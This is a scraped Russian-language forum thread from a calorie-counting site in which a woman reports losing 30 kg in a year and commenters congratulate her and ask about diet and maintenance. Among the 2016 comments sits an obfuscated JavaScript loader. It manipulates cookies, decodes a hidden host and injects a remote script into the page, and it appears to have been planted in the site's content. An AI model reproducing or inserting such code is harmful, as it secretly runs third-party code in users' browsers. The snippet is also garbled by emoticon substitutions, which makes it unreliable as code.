Галин@

05.04.2015 14:26

Надеть чужие штаны может каждый. А вот сбросить 30 кг.....

Сегодня ровно год моего знакомства с МЗР. Подведём итоги. Пришла сюда с весом 94.6 кг. На сегодняшний день весы показывают 69.5. Итого за год отвес 25 кг. Потеря в объемах ГТБ по 20 см. Вместе со сброшенными ещё до МЗР 5 кг общий отвес на сей момент составляет 30 килограммов. Это 30% от стартового веса. 58-й размер одежды сменила на 48-й. Брюки на фото прав.да мои, носила их прошлой зимой)))).Это был очень плодотворный год, и не только потому, что удалось за это время привести себя в порядок. Самое важное , что я получила на этом ресурсе, это знание. За что огромное спасибо всем форумчанам. Надеюсь, что промывание мозга позволит мне удержать результат надолго. Неделю назад у меня сломались кухонные весы, я думаю, что это знак того, что пора завязывать с ведением дневника. За неделю пока ничего не набрала, буду стремиться к этому и дальше.

P.S. Чтобы мной особо не восхищались)), сообщаю, что тараканы победили))). Через 2 недели после публикации поста вес начал ползти вверх и я купила-таки новые весы и опять всё взвешиваю. Наркоманка)))
P.P.S. С момента публикации поста прошло уже больше года. Всем спасибо за комментарии. Мне очень приятно внимание к моей персоне. Но немного устала отвечать на вопросы о том, как мои дела на данный момент. Поэтому ответ пишу здесь для всех. На данный момент я вешу 68 кг. Мой рост 170 см ( тоже ответ на популярный вопрос))). За питанием слежу, не разжирела и не собираюсь))) Чего и всем желаю. 28.07.2016.

289

245

rangy 05.04.2015 14:35

Галин@ написал:
буду стремиться к этому и дальше.

удачного самостоятельного плаванья!! Браво!

Мила 05.04.2015 14:42

Молодец!!!!!!! Хорошо

Анастасия Бова 05.04.2015 14:44

Какая молодец!
Вот это результат! Так держать!

Vento 05.04.2015 14:52

Мои поздравления!
А килограммы не наберутся. За год-то точно выработалась привычка правильно питаться!)

Галин@ 05.04.2015 14:57

Vento написал:
За год-то точно выработалась привычка правильно питаться!)

Привычка-то выработалась. Только вот желание сожрать побольше никуда не ушло. Такова уж моя природа. Обжору не переделаешь)))

Vento 05.04.2015 15:00

Галин@, ну, если больше не скидывать, нормально. Раз в недельку можно и налопаться) Вы же знаете, как это компенсировать.
Я, когда "слезу", планирую раз в неделю-две все же взвешиваться. А уж пару кило и без дневника согнать не проблема.

Виктория Клокова 05.04.2015 15:01

Не могу себе даже представить вас в весе 95 кг! Суперский результат!

Anna 05.04.2015 15:01

Присоединяюсь к поздравлениям.Кажется ,ещё недавно восхищались вашими - 25,а вот уже и -30,Вы такая молодец,упорно идёте к намеченной цели.Удачи Вам в свободном плавание!

Галин@ 05.04.2015 15:03

Виктория Клокова написал:
Не могу себе даже представить вас в весе 95 кг!

Посмотрите в альбоме. Там даже побольше , около 97-98кг.

Limon99 05.04.2015 15:13

Галин@ написал:
Только вот желание сожрать побольше никуда не ушло.

Так устроены все люди и это нормально. Просто при этом подразумевается, что и тратить полученную энергию человек должен с аппетитом Широкая улыбка

.
Раньше работников когда нанимали, сначала кормили и смотрели кто как ест. Отбирали тех, у кого был хороший аппетит, а кто ел нехотя считался неважным работником С улыбкой

trelena 05.04.2015 15:14

Галин@ написал:
пора завязывать с ведением дневника

Удачного Вам свободного плавания! Заходите в гости. Будем рады.

Наталья М 05.04.2015 15:14

Какая вы молодец, просто слов нет! Хорошо

Natali 05.04.2015 15:17

Если что ждем назад!

Ольга 05.04.2015 15:22

Мы белые и пушистые 05.04.2015 15:23

классная, слов нет Хорошо

Надежда Горитовская 05.04.2015 15:29

ВЫ ПРОСТО МОЛОДЕЦ.! У ВАС ОЧЕНЬ СИЛЬНАЯ СИЛА ВОЛИ. УДАЧИ ВАМ ВО ВСЕМ.

Любовь 05.04.2015 15:52

Супер результат!!! Примите и мои восхищения! Удачи в свободном плавании!

Наталья Иванова 05.04.2015 15:58

Отличный результат! Стройняшка! Не представить вас в весе 95кг.! так держать!

Пятачок 05.04.2015 16:25

Тезка, ты супер!!! Хорошо

Joy Toy 05.04.2015 18:48

На фоне того, что есть в альбоме в стиле "..до" это невероятно!

Галин@ 05.04.2015 18:52

Joy Toy, Вы , как бывший владелец лишних 30 кг, понимаете мою радость , как никто другой. Ваши фото до и после тоже невероятны)))). Да чего уж греха таить, сама кайфую от своего отражения в зеркале))))

Буркина Фасо 05.04.2015 18:53

зашла посмотреть на Вас "до"... ох какая разница!!!! молодчинка!!! удачи и дальше! и выглядите вы замечательно

Joy Toy 05.04.2015 18:56

Галин@, Ну вы же отдаете себе отчет в том, что в течении трех - четырех месяцев у вас непременно вернется 3*5 кг? Может зря дневничек забросить решили? Пусть все стабилизируется. Организм адаптируется, водичку погоняет. Пару кило в гликоген сейчас запасать будет. Вы конечно опыт имеете, но под контролем - процесс более ровный. Подмигиваю

...неа?

Галин@ 05.04.2015 18:59

Joy Toy, Да вы меня неверно поняли. Вообще-то . я планирую продолжать худеть. Вот до 65 дойду, тогда можно будет и водичку погонять. И, как бы, спортзал бросать я не собиралась. Хотя , практика показывает, что и на 4-х тренировках в неделю можно разожраться, как было 1.5 года назад.

Наталья 05.04.2015 19:03

Вы просто умница!! Так держать!!!!

Tanya Nemo 05.04.2015 19:05

Поздравляю с годовщиной и с достигнутым результатом! И новых достижений С улыбкой

ольга усатюк 20.04.2015 07:08

чудесный результат!!!великолепно! Широкая улыбка

Капелька 20.04.2015 07:30

молодец! всем бы так, кто хочет сбросить!

Алла 123 20.04.2015 07:46

Здорово!!!

Velga Velga 20.04.2015 07:55

Замечательный результат. С улыбкой

На фото 70кг не видно, кажется,то намного меньше (видимо у вас высокий рост).

Елена Иванова 20.04.2015 08:00

Молодец!

Валентина Ерофеева 20.04.2015 08:04

здорово!!!

Дарья 20.04.2015 08:09

Ай да умница! Ай, да молодец! Какая фигурка! Так держать!

Fit&Healthy_Girl 20.04.2015 08:15

супер)

Alenka 20.04.2015 08:30

молодец, сразу виден целеустремленный человек!

Роман 20.04.2015 08:36

гц!

Валентина Не ваша 20.04.2015 08:39

класс!!!!!

Марина 20.04.2015 08:51

Пример для всех !!! Хорошо

ольга М. 20.04.2015 09:28

поздравляю!!!!!

Татьяна Аганесова 24.04.2015 20:55

Галина, я по поводу рейтинга, вопрос? Реально, достаточно одного комментария в день, чтобы не выпадать из социального комплекта? Я попросила поддержки и обнаружила, что это подвергается остракизму. А как иначе новичкам разобраться во всех особенностях пользования сайтом? Оказывается, болезненная тема для ветеранов.

LolaLola 24.04.2015 21:54

Это просто великолепно! Вы - молодец!
Я только начинаю, у меня 95,7. Вы меня вдохновили)))

Veyaymi 24.04.2015 21:58

Какая же Вы молодец! ))) Такие истории по-настоящему вдохновляют!

Ника Смартенко 24.04.2015 22:00

Вау, какая вы молодец!!!!!!!!!! Хорошо

Елена 24.04.2015 22:21

еех, завидую белой завистью, надеюсь через год тоже выложить подобное фото! молодец.!!!!

Людмила Иванова 24.04.2015 22:32

результат потрясающий! Умница!

Максим 24.04.2015 22:37

в эти штаны можно второй как вы влезть)))Вот это настрой у вас

Lora 24.04.2015 22:40

РАДУЮСЬ ЗА ВАС! Это окрыляет! МОЛОДЕЦ!!!

Fitness_Kate 24.04.2015 22:42

Прекрасно выглядите!

Евгения 24.04.2015 22:51

Галина, вы молодчина, просто супер, нет слов для восхищения!!! Я здесь только второй день и моя цель минус 25 кг, но честно говоря сомневаюсь очень, но глядя на вас поняла, что это не сказка, все в наших руках. Спасибо за вдохновение.

Галин@ 24.04.2015 23:07

Евгения, Всё возможно, главное настроиться на длительный срок. Быстро эту задачу не одолеть. За год вполне реально. Ставьте себе промежуточные цели. Я сначала ставила себе цель - минус 3 кг каждый месяц ( иногда получалось по 4))). После 80 кг каждые 5 кг брала передышку на месяц , ставила в настройках удержание веса, вот так и доползла до своих вожделенных минус 100 от роста))).

Наташа Шубина 24.04.2015 23:12

У меня тоже цель - 30 кг. И я очень надеюсь, что сумею сделать это за год. А вы просто умница. Поздравляю! Хорошо

Ann 24.04.2015 23:17

Отличная мотивация) Спасибо за пост) Вы молодец)

Юлия Виноградова (Смолкина) 25.04.2015 00:28

И все-таки восхищусь!!! Хорошо

Слов подобрать новых не смогу, но... есть все основания для восхищения!!! Браво!

Ярина 25.04.2015 00:38

Потрясающе! Восхищаюсь такими людьми и такой силой воли. Удачи!

Людмила Каледина 25.04.2015 00:44

Просто прелесть!!! А штантшки можно пустить на что -нибудь дельное( в крайнем случае на тряпки), не будут напоминать какая ты была в прошлом. Хорошо

Галин@ 25.04.2015 00:49

Людмила Каледина, Да вы что! Никуда я их пускать не буду. Пусть лежат. Это мой оберег от повторения пройденного.

Людмила Каледина 25.04.2015 00:52

Галин@, Ну тогда далеко убирать не стоит. Хотя бы раз в полгода надо будет одевать , дабы избежать лишних кило. Подмигиваю

Наталья Ирбеткина 07.05.2015 20:49

Хороший пост. Вы молодец. Никогда не возвращайтесь к прежнему.

Екатерина 09.05.2015 14:02

Спасибо за Вашу историю! Отличный результат. С улыбкой

Алеся Петрова 10.05.2015 19:29

супер!!!!!!!!!!!!!!!!!!!!!!!вы умничка!!!!

Николай 10.05.2015 22:04

Это прекрасно! Поздравляю!

Ираида 15.05.2015 13:53

Ваши результаты, определенно, впечатляют!!!

Микаел 15.05.2015 14:34

Красота))

Надежда Горитовская 15.05.2015 15:28

Галина, Вы просто молодец.! А сколько у Вас терпенья, большая сила воли наверное у Вас. Желаю не сдаваться, упорно идите к своей мечте. Хороших Вам результатов.!!!

Limon99 15.05.2015 15:33

Галин@ написал:
купила-таки новые весы и опять всё взвешиваю. Наркоманка)

Нет. Просто привычка переросла в хобби Широкая улыбка

Галин@ 15.05.2015 16:12

Limon99, Это не хобби, это помешательство))). Сначала думала, что 70 кг хватит, когда достигла, немного порадовалась, а теперь хочу 65. Как бы крыша не съехала))))

Limon99 15.05.2015 17:59

Галин@, а может паузу сделать, попробовать свободный полёт? Проверить стабильность состояния, так сказать С улыбкой

Галин@ написал:
думала, что 70 кг хватит...
а теперь хочу 65

Лучшее -- враг хорошего. (Сказка о Золотой Рыбке) Широкая улыбка

Галин@ 15.05.2015 18:10

Limon99, Свободный полёт не прокатывает, начинаю жрать)))). Видимо, всё-таки есть в моём организме этот пресловутый жирный ген). Причём жрать начинаю всё подряд. Не сладости, их в моём доме вообще не водится, просто хомячу и не могу остановиться. В моей жизни не всё так просто, я борюсь с лишними кг всю свою сознательную жизнь, с переменным успехом. То они меня, то я их). Про золотую рыбку вы верно подметили. Я уже сама думала, что пора это прекращать, что я сейчас имею такой вес, который последний раз был у меня ещё в школе, и если я полезу дальше, организм может устроить мне мощную отдачу как физиологическую, так и психологическую, но , когда получается, нет никаких сил остановиться. Не знаю , что будет дальше, но мне хочется продолжать худеть , надеюсь, что остановлюсь в разумных пределах.

Limon99 15.05.2015 18:20

Галин@ написал:
есть в моём организме этот пресловутый жирный ген

У столь изящной дамы? Не верю (с) Широкая улыбка

Галин@ 15.05.2015 18:21

Limon99 написал:
Проверить стабильность состояния, так сказать

Состояние крайне нестабильное. Да и как оно может быть стабильным после сброса 32-х кг. Один раз похудела и на всю жизнь. Не так-то это просто , как кажется. Для стабилизации нужно удержать вес 2 года. только тогда организм успокоится и примет новые правила, а до этого момента нужно себя контролировать. Без пары месяцев удержания веса по программе я точно с подсчёта не слезу, а то получается , что как только перестаю вести дневник - сразу слетаю с катушек, по принципу "никто не видит, значит ничего и не было". Только вот загвоздка, организм-то всё видит. Я тут пробовала пару недель на бездефицитном рационе посидеть. Разница в 400 ккал, но вес тут же полез вверх. Похоже, что свой обмен я всё же снизила и он уже не соответствует базовому. Следующий этап - определение реальной цифры, на это уйдёт ещё месяца 2. Так что я с сайтом надолго повязана)))

Галин@ 15.05.2015 18:22

Limon99 написал:
У столь изящной дамы?

Зайдите в мой альбом и посмотрите фото "изящной дамы" в стиле "до".

Елена Елена 15.05.2015 18:32

Фото впечатляют!!!! умница!!

Татьяна 15.05.2015 18:32

знаете, меня иногда угнетает мысль, что чтобы поддерживать себя в форме придется всю жизнь взвешивать еду и ограничивать себя((((

Галин@ 15.05.2015 18:35

Татьяна, Тут важно сделать выбор, чего больше хочется, есть всё , что не приколочено, или иметь красивую фигуру.

Татьяна 15.05.2015 18:36

Галин@, иногда выбор не в пользу фигуры(((

Limon99 15.05.2015 18:39

Галин@, посмотрел. ТОЙ тётеньки больше нет, она уехала далеко и насовсем С улыбкой

. Остались только изящные -- 70 и 75 Широкая улыбка

Натка 15.05.2015 18:47

Отличный результат!! Фотки "до и после" посмотрела, сейчас просто замечательно выглядите!

rangy 15.05.2015 18:49

Татьяна написал:
иногда выбор не в пользу фигуры(((

так фигура у вас одна.а жрачки много.все не пережрать Широкая улыбка

Denis 15.05.2015 18:51

А сколько Вам лет?, если конечно это не секрет?

Алана Новикова 15.05.2015 19:49

Хороша!
Кстати, у меня в точности такая же футболка! =)

Галин@ 15.05.2015 20:17

Denis, Не секрет. 34.

Anastasia 15.05.2015 20:25

Умничка! Продолжайте в том же духе! С улыбкой

Наталья Абикс 15.05.2015 20:56

Ого, вот так штанишки! Ха-ха! Молодец. Хорошо

**Я** 15.05.2015 21:19

Посмотрела Ваши фото До и После. Вам с такими потрясающими результатами можно ягоды Годжи рекламировать! Подмигиваю

:ah

Шутка)

Ирина Гребенникова 15.05.2015 22:40

Впечатляющий результат!!! Хорошо

Галин@ 15.05.2015 23:47

Александра Попова написал:
можно ягоды Годжи рекламировать!

Ну нет уж. Рекламирую и буду рекламировать только МЗР. Я не предатель)))

Наташа Счастливая 16.06.2015 16:08

Как здорово))) какая Вы молодец! Разница ошеломляющая!- Сбросили не только лишние килограммы, но и лишние годы! Оставайтесь всегда молодой и красивой))) Дарю цветочек

Оксана 16.06.2015 16:16

Успехов вам в поддержании достигнутых результатов. По себе знаю, что это нелегко.

Светлана 16.06.2015 16:37

Ирина 19.06.2015 14:26

Обалденный результат! Оч круто! Я только месяц как начала, отвес пока незначительный, но с таким мотиватором я готова горы свернуть! Вы просто молодец! Оч здорово!

Елена Степанова 19.06.2015 14:35

Галина, Вы умничка,так держать. Хорошо

svetlana 19.06.2015 15:00

Молодец, так держать.

Анна Фролик 19.06.2015 15:12

Отлично выглядите! Какой у Вас рост? Я в таком весе смотрюсь раза в 2 шире...

Галин@ 19.06.2015 15:13

Анна Фролик, 170 см

Анна Фролик 19.06.2015 15:17

Галин@, У меня тоже. У Вас, наверное, кость тяжелая. Или у меня сверхлегкая))). Выглядите правда очень стройной, спасибо за мотивацию!

Ирина 24.06.2015 13:56

Вы умничка. Глядя на вас поднимается боевой дух. Спасибо

Яна Мэй 05.07.2015 01:43

я тоже теперь буду контролировать себя постоянно, уже есть опыт похудения на 34 кило, потом срывы, потом беременность, обжираловка после родов, а сейчас снова -10 кг, а хочется еще - 20-25 хотя бы)) Вам желаю удачи в самоконтроле и самосовершенствовании)))

Елена Михайлиди 07.07.2015 23:25

Anapola AS, это точно!

Юлия 18.07.2015 21:01

Я не в чём себя не ограничиваю , не в мучном не в сладком когда хочется , просто стараюсь соблюдать норму калорий . Сразу скажу я не фанат сладкого и по этому хочется мне не так часто . На МЗР три недели - 10 кг .

med-ved 18.07.2015 21:09

Юлия, у всех по-разному. Я видел эксперименты - люди, не предрасположенные к ожирению, если им незаметно дать пищу, содержащую очень много жиров и калорий, после этого долго чувствуют сытость, а другие люди уже через пару часов готовы съесть привычный обед.

Я, если не слежу за едой, запросто начну переедать. Но если хотя бы минимально слежу - не ем сладостей (кроме разовых 5-10г) или не ставлю перед собой килограмм орехов/семечек - то даже без записи все получается, даже худел в таком режиме медленно.

Галин@ 19.07.2015 00:01

Юлия написал:
На МЗР три недели - 10 кг .

Сколько, сколько? Вы ничего не перепутали? Может, 3 месяца? Или 1 килограмм. Поверю только если ваш стартовый вес около 150 кг, или если вы взвесились в начале вечером, после поедания селёдки, запитой шестью стаканами чая, в одежде и с сумкой))))).

Яна . 19.07.2015 00:06

Отлично!!! Молодец!

Юлия 19.07.2015 03:38

Галин@, Стартовый вес 101 кг сейчас вешу 91 кг на проекте с 28 июня .

Галин@ 19.07.2015 08:44

Юлия, Ничего себе. Может, у вас отёки были? Как-то много. Из всех знакомых мне похудельцев у вас рекорд. Очень уж резвый старт, даже не верится в такую цифру.

Яна . 31.08.2015 01:24

Молодец!!! отличный резльтат!!!

Галин@ 03.09.2015 16:54

Vika, Это ещё не победа, скоро покажу минус 35))))

сніжана совайло 12.09.2015 15:54

А скільки програма вам насчитала зїдать кілокалорій в день? Ато мені 2000 і я думаю шо це багато.

сніжана совайло 12.09.2015 15:56

Але похудали ви добре. Молодці!!!!!!!!!!!!Так тримать.

Галин@ 12.09.2015 16:03

сніжана совайло, Мой рост 170, вес сейчас уже 66 , программа велит есть 1516 ккал, если без тренировки, с тренировкой 1700-1800. У вас должны быть свои цифры. Вы говорили. что кормите ребенка. дело в том. что программа не разрешает кормящим худеть, поэтому и насчитывает больше калорийность. Зайдите в "личные данные". Внесите рост и вес. Уберите в настройках кормление, поставьте "сбросить лишний вес", и узнаете, сколько вам надо есть для похудения. так же не забудьте указать группу интенсивности труда, и после этого нажать кнопочку "сохранить". И программа рассчитает вам новый коридор.

Арадхана 12.09.2015 16:09

Вот это умница!!!! Надеюсь что и у меня получится...

Сергей 12.09.2015 16:24

Обещаете, что будет???
А не то я вашу заберу вместе со штанами тем более чужими

Галин@ 12.09.2015 16:28

Сергей написал:
А не то я вашу заберу вместе

Да забирайте, я себе за один вечер новую наболтаю))))

Сергей 12.09.2015 16:32

А если серьезно меня впечатлил ваш результат, хочу хочу хочу так же,
Давайте вы мне версию социальную, а я вам кг. 30 живого веса, наикачественного жира

Галин@ 12.09.2015 16:36

Сергей, Да Щасссссс))) Давайте лучше я за вас поболтаю в ленте, а вы за меня ещё 5 кг сборсите))))

Галин@ 12.09.2015 16:41

Ирина Барковская, Спасибо. Я держу. Пост 4-х месячной давности, с тех пор я даже немного в миусе))))

Галин@ 12.09.2015 16:57

Ирина Барковская, Втянулась. Тут главное. не гнаться за скоростью. Я же не быстро худела. Скоро 2 года будет, как я всё это затеяла. Я несколько раз брала перерывы, которые были продиктованы не ленью. а разумом. Как только видела, что кожа начинает повисать, переставала худеть, ждала, пока она догонит.

Галин@ 12.09.2015 17:12

Ирина Барковская написал:
Вы,Галина занимались?

Почему в прошедшем времени? Я занимаюсь 8 лет, и буду заниматься дальше. Когда вес устраивает - только силовые. Если хочу похудеть - силовые плюс кардио. Не поверите, но в тот период. когда я разожралась до 100 кг - я тоже занималась. К сожалению. я слишком поздно поняла. что питание первично, столько времени и сил потеряно зря.

Ирина Барковская написал:
за 1,5 месяца 8 кг.

Посмотрите. как будет дальше, старт при большом весе всегда интенсивный. Возможно, скорость сама снизится. но лучше этого не дожидаться. я каждые 3-4 месяца беру перерыв , на 1-2 месяца ухожу на удержание веса, затем по новой на дефицит.

ПОНТиАК47 30.01.2016 01:11

СУПЕР!!!!! Браво!

Катерина Терехова 15.02.2016 18:06

Вы очень здорово похудели, пожалуй, я возьму вас за пример!

Галин@ 15.02.2016 18:11

Катерина Терехова, Спасибо, но это не самое моё "стройное фото". В альбоме есть, где я ещё на 5 кг меньше)

Nikol_Yva 15.02.2016 18:44

Зашла в ваш блог, посмотрела все ваши фото. Результат, конечно, впечатляет. Какая вы молодец! Хорошо

Маруся 17.02.2016 18:47

Зашла в ваш блог, посмотрела все ваши фото. Результат, конечно, впечатляет. Какая вы молодец!

Полностью согласна с девочками

Маруся 17.02.2016 18:47

Полностью согласна с девочками
Вы просто умничка!!!!!!!!!!

Маруся 17.02.2016 18:48

Самое тяжелое --начать и поддержать саму себя...

Марьяна Тихомирова 17.02.2016 18:52

круть))девичья фигурка прямо стала)респект!!

Елена Климентионок 17.02.2016 21:51

Вы мега супер молодец! Хорошо

часто читаю Ваши посты и коменты, заочно уважаю Вас)) смотрю пост написан почти год назад, а скажите пожалуйста как сейчас обстоят дела с весом?

Влада Шестопалова 17.02.2016 22:18

Вы огромная молодец!!!!! А вес - это дело наживное Хихикаю

то вниз то вверх! главное не возвращаться в начало!

Галин@ 17.02.2016 23:06

Елена Климентионок написал:
а скажите пожалуйста как сейчас обстоят дела с весом?

Сейчас 67. Держусь последнее время около 65 плюс минус пару кг, сейчас плюс. вот, снова худею.

Леюшка 17.02.2016 23:10

Какая УМНИЧКА! Такие примеры вселяют надежду. Удачи!

Людмила Людмила 17.02.2016 23:28

Вау! я тоже так хочу...

window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="19281",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","" Подмигиваю

;for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http" Подмигиваю

==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="" Подмигиваю

return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.smlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.zSmlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306" Подмигиваю

!=f&&n("a2519043306",f,{expires:parseInt("3600" Подмигиваю

})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002" Подмигиваю

!=i&&n("a36677002",i);var r=o("a2519043306" Подмигиваю

;t=r?r:e,s(t)};f()}();

Анна 21.02.2016 13:22

Воу-воу, красотка!) красота идет покорять мир!))) а тараканы.... будем давить)

Виктор Князь 29.02.2016 00:47

Ольга Титова 25.03.2016 09:43

очень круто!) фото "до" и "после" это прям мотивашка)

Алька 25.03.2016 10:04

Вы большая молодец! ОТличный результат!

Елена Гелова 25.03.2016 10:13

Здорово, что этот ваш пост откопали С улыбкой

Результат шикарный! ) Я вот все сомневаюсь, что без подсчета ккал никак не удержать вес, но как-то примеры говорят об обратном. Видимо, надо настраиваться, что подсчет КБЖУ - это на долгий срок...

Pink Rose 25.03.2016 10:18

здорово. и себе на зметку

Татьяна 25.03.2016 10:23

А помолодели-то как! Прямо девочка (стала) и тетя (была) (две противоположности)! Молодец! Правильно, что весы купили, без них сразу идет расслабление и прибавка в весе! Проверено на себе Широкая улыбка

Ирина 25.03.2016 10:25

Радужная 25.03.2016 10:28

Молодец,от души рада за вас! Дарю цветочек

Я, в свое время (10 лет назад) с весом 75кг влазила в 48 размер,веселушка! С улыбкой

Радужная 25.03.2016 10:32

Татьяна Аганесова, чем помочь?спрашивайте. С улыбкой

Радужная 25.03.2016 10:37

Как сейчас то дела?Увидела что пост от апреля прошлого года. С улыбкой

Наталья 25.03.2016 13:13

Молодец! Очень рада за Вас!

Галин@ 25.03.2016 14:10

Eлена Радужная написал:
Как сейчас то дела?

Нормально, держусь. За 70 кг в течение года не выбивалась. Калории считаю до сих пор, видимо, таков мой удел, что же со мной, обжорой, поделаешь))). Попытки дойти до следующей отметки ( 60 кг) пока успехом не увенчались, но нет ничего невозможного)

Юлия 25.03.2016 19:44

Замечательный результат!

Радужная 26.03.2016 15:12

Галин@,здорово,вы все время с МЗР?отпуск?поездки? С улыбкой

Невозможное,возможно! Хорошо

Ольга Иванова 26.03.2016 15:21

Отличный результат!

Наталья Natalya 26.03.2016 15:33

Результат отличный! С момента публикации этого поста прошел почти год. А как вы сейчас выглядите? Что изменилось за год? Питание? Вес? Образ жизни?

Галин@ 27.03.2016 00:08

Наталья, У меня есть и более поздние записи. Можете почитать в моем блоге. А мой вес в течение 2-х лет и до сегодняшнего дня можно увидеть, открыв любой из моих дневников питания.

Александр Головий 01.04.2016 17:43

Отличница, вверх не ползем, идем вниз или топчемся на месте

alina 1900 27.04.2016 10:39

Супер! Вы молодец! Моя цель тоже 25кг, но я только в начале пути!

Romashka61 27.04.2016 10:42

Вы умница! Теперь держать, держать и держать! Хорошо

галюсик 27.04.2016 10:52

Romashka61, Это результат годовой давности. Спросите лучше какие сейчас у нее результаты?

Romashka61 27.04.2016 10:58

галюсик, так у нее сейчас еще лучше: 67.7.

галюсик 27.04.2016 11:00

Romashka61, За год маловато будет.

Лена 27.04.2016 11:01

Вы такая молодец , а я 8 кг. сбрасываю ну так медленно, -2 кг. с февраля месяца как , а так хотелось привести себя в порядок к лету.

Romashka61 27.04.2016 11:15

галюсик, Зато и кожа, и мышцы - все в тонус пришли.

Наталья 27.04.2016 11:23

Вы молодец! Очень хороший результат! Я тоже стремлюсь избавится от 25 кг.

Галин@ 27.04.2016 23:52

галюсик написал:
За год маловато будет.

Так мне дальше-то особо некуда худеть. Я и не стремилась много сбросить. Я уже год практически на удержании. Мне за второй год тоже надо было тридцатник скинуть? Так у меня нет второго лишнего тридцатника))) ( к счастью)). Мои нынешние 66 кг при росте 170 - это нормальный вес.

Romashka61 написал:
сейчас еще лучше: 67.7.

Не-а. 65.9 сейчас))).

Людмилка 28.04.2016 02:50

Галин@, какая молодец. Какая сила воли ! Вы сумели вернуть себя ! Теперь обязательно следите хотя бы год а может и два за весом . Весы пригодятся. Зато никогда не вернетесь к лишним. Вы прекрасны !

мария мария 02.05.2016 08:21

результат впечатляющий, перемены разительные, оч хорошая мотивация для других, поздравляю Браво!

Елена Попова 02.05.2016 08:28

а я вчера уже рабочие штаны ушила, падали)

Александр 02.05.2016 08:33

отличные результаты!!

Нина 02.05.2016 08:59

Красота!!!

Людмила Мялова 02.05.2016 09:04

Рада за Вас , результат ошеломляющий. Держитесь в этом весе.

Юлия Дорожкина 02.05.2016 09:34

Круто! Молодец!

Алена Аленка 02.05.2016 09:40

Результат отличный! Так держать!

Елена Елена 02.05.2016 09:49

Вы умничка,хороший пример для нас!

Ольга Мясникова 02.05.2016 11:16

молодец

Маша Mедведь 02.05.2016 11:25

молодцы !!! так держать

Елена 02.05.2016 11:31

Потрясающе, отличный результат!

Ольга Саликова 02.05.2016 11:43

Прекрасный результат!Поздравляю!

Елена 02.05.2016 12:01

Вау! просто блеск! Молодец!!!!!!!!!!!

Юлия Базилева 17.05.2016 16:02

Вы просто МОЛОДЕЦ!!!
завидую...
надеюсь у меня хватит вашей выдержки и стремления
вы просто СУПЕР!!!

Серафима 17.05.2016 16:08

Посту больше года!!!

Галин@ 17.05.2016 16:14

серафима сургутова, Дело в том, что пост попал в популярные истории успеха и теперь часто мелькает при случайном заглядывании в этот раздел. Уже не знаю. что и сделать, чтобы его больше не выковыривали из небытия. А стереть жалко)))

Серафима 17.05.2016 16:17

Галин@ 17.05.2016 16:20

серафима сургутова, Ну давайте хотя бы вы не будете задавать этот вопрос. Вы же знаете, как найти на него ответ. Вы же не новичок.

Наталья Веденеева 17.05.2016 16:20

А мне нравится, пусть периодически появляется, новеньких то много, пусть учатся, и я учусь.

Свинина Петровна 17.05.2016 16:22

Галин@ написал:
А стереть жалко)))

Еще чего! Пусть выковыривают, мзр должен знать своих героев!

Серафима 17.05.2016 16:25

Галин@ 17.05.2016 16:33

серафима сургутова, Я имела в виду, что можно найти любой мой дневник питания и там увидеть мой текущий вес. Мне казалось, что вы на сайте уже давно и знаете об этом. Извините, я тоже не хотела вас обидеть.

madjulia 17.05.2016 16:33

вот это да!

Серафима 17.05.2016 16:40

Наталья 17.05.2016 22:14

Молочинка!!!!))))

надежда 17.05.2016 22:32

Снимаю шляпу!Молодец!

Константин 22.05.2016 19:18

Грац, Респект! - будем брать пример

Нина Newba 22.05.2016 19:21

Шикарный результат! Умница! Хорошо

Вита Сон 31.05.2016 17:57

Галина, спасибо Вам огромное, за помощь.
Сейчас увидела Ваши фотографии. Вы молодец! Хорошо

Просто дюймовочка! Очень вдохновляет.

Mandarinka MANDARINKA 08.06.2016 18:55

Вы мой мотиватор! Хорошо

Удачи вам!

Елена К 08.06.2016 19:08

какая вы молодец!

Светлана Злат 08.06.2016 19:13

такой результат заслуживает восхищения. Вы просто молочдинка. Так приятно посмотреть на красивую фигурку. А даже и не скажешь , что могли быть в таком солидном весе. Конечно похвально!

Галин@ 08.06.2016 19:26

Светлана, Очень даже могла. В альбоме фотки есть меня огромной.

Светлана Злат 08.06.2016 19:30

Галина @. я посмотрела ваши фотографии , это как в мультике фильм наоборот . От женщины к молоденькой девушке. Я еще больше поражена, чем до этого!!! Просто слова восхищения!!!

Deko 16.07.2016 16:46

Галина, зашла к вам в гости) здорово!!!! сказать "молодец, умница, большой силы воли человек" значит ничего не сказать)))

Наталия Кадочникова 16.07.2016 17:33

Класс, вы молодчинка Дарю цветочек

фото посмотрела, в восторге от вас!

Дина Игнатенко 07.09.2016 10:20

